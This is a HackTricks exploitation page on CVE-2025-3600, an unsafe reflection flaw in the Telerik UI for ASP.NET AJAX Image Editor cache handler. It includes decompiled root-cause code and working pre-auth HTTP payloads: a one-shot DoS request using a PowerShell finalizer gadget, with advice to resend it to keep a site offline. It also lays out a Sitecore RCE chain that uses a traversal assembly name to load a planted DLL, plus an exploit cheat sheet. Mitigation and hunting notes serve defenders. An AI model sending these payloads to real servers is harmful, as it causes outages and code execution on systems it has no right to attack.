Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Reading time: 7 minutes
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).
TL;DR
- Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed pre‑auth in many products.
- Primitive: Attacker controls a type name (prtype). The handler resolves it with Type.GetType() and invokes Activator.CreateInstance() before verifying interface type-safety. Any public parameterless .NET type constructor will run.
- Impact:
- Universal pre‑auth DoS with a .NET framework gadget (PowerShell WSMan finalizer).
- Often elevates to pre‑auth RCE in real deployments by abusing app‑specific gadgets, especially insecure AppDomain.AssemblyResolve handlers.
- Fix: Update to Telerik UI for ASP.NET AJAX 2025.1.416+ or remove/lock the handler.
Affected versions
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
- Fixed in 2025.1.416 (released 2025-04-30). Patch immediately or remove/lock down the handler.
Affected surface and quick discovery
- Check exposure:
- GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
- Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
- Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=
.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Notes
- Some PoCs use dtype; the implementation checks dkey=="1" for the download flow.
- prtype must be assembly-qualified or resolvable in the current AppDomain.
Root cause – unsafe reflection in ImageEditorCacheHandler
The Image Editor cache download flow constructs an instance of a type supplied in prtype and only later casts it to ICacheImageProvider and validates the download key. The constructor has already run when validation fails.
Relevant decompiled flow
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"]; // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}
private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}
public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}
protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}
Exploit primitive: Controlled type string → Type.GetType resolves it → Activator.CreateInstance runs its public parameterless constructor. Even if the request is rejected afterwards, gadget side‑effects already occurred.
Universal DoS gadget (no app-specific gadgets required)
Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) has a finalizer that disposes an uninitialized handle, causing an unhandled exception when GC finalizes it. This reliably crashes the IIS worker process shortly after instantiation.
One‑shot DoS request:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Notes
- Keep sending periodically to keep the site offline. You may observe the constructor being hit in a debugger; crash occurs on finalization.
From DoS to RCE – escalation patterns
Unsafe constructor execution unlocks many target‑specific gadgets and chains. Hunt for:
- Parameterless constructors that process attacker input
- Some ctors (or static initializers) immediately read Request query/body/cookies/headers and (de)serialize them.
- Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body "layout" and deserializes JSON via JSON.NET.
- Constructors that touch files
- Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
- Constructors performing app-specific ops
- Resetting state, toggling modules, or terminating processes.
- Constructors/static ctors that register AppDomain event handlers
- Many apps add AppDomain.CurrentDomain.AssemblyResolve handlers that build DLL paths from args.Name without sanitization. If you can influence type resolution you can coerce arbitrary DLL loads from attacker‑controlled paths.
- Forcing AssemblyResolve via Type.GetType
- Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Finalizers with destructive side effects
- Some types delete fixed-path files in finalizers. Combined with link-following or predictable paths this can enable local privilege escalation in certain environments.
Example pre‑auth RCE chain (Sitecore XP)
- Step 1 – Pre‑auth: Trigger a type whose static/instance ctor registers an insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory).
- Step 2 – Post‑auth: Obtain write into a resolver-probed directory (e.g., via an auth bypass or weak upload) and plant a malicious DLL.
- Step 3 – Pre‑auth: Use CVE‑2025‑3600 with a non-existent type and a traversal‑laden assembly name to force the resolver to load your planted DLL → code execution as the IIS worker.
Trigger examples
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Validation, hunting and DFIR notes
- Safe lab validation: Fire the DoS payload and watch for app pool recycle/unhandled exception tied to the WSMan finalizer.
- Hunt in telemetry:
- Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
- Failed type loads and AppDomain.AssemblyResolve events.
- Sudden w3wp.exe crashes/recycles following such requests.
Mitigation
- Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.
- Remove or restrict exposure of Telerik.Web.UI.WebResource.axd where possible (WAF/rewrites).
- Ignore or harden prtype handling server-side (upgrade applies proper checks before instantiation).
- Audit and harden custom AppDomain.AssemblyResolve handlers. Avoid building paths from args.Name without sanitization; prefer strong-named loads or whitelists.
- Constrain upload/write locations and prevent DLL drops into probed directories.
- Monitor for non-existent type load attempts to catch resolver abuse.
Cheat‑sheet
- Presence check:
- GET /Telerik.Web.UI.WebResource.axd
- Look for handler mapping in web.config
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Trigger resolver:
This.Class.Does.Not.Exist, watchTowr
Related techniques
- IIS post-exploitation, .NET key extraction, and in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization and machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
References
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks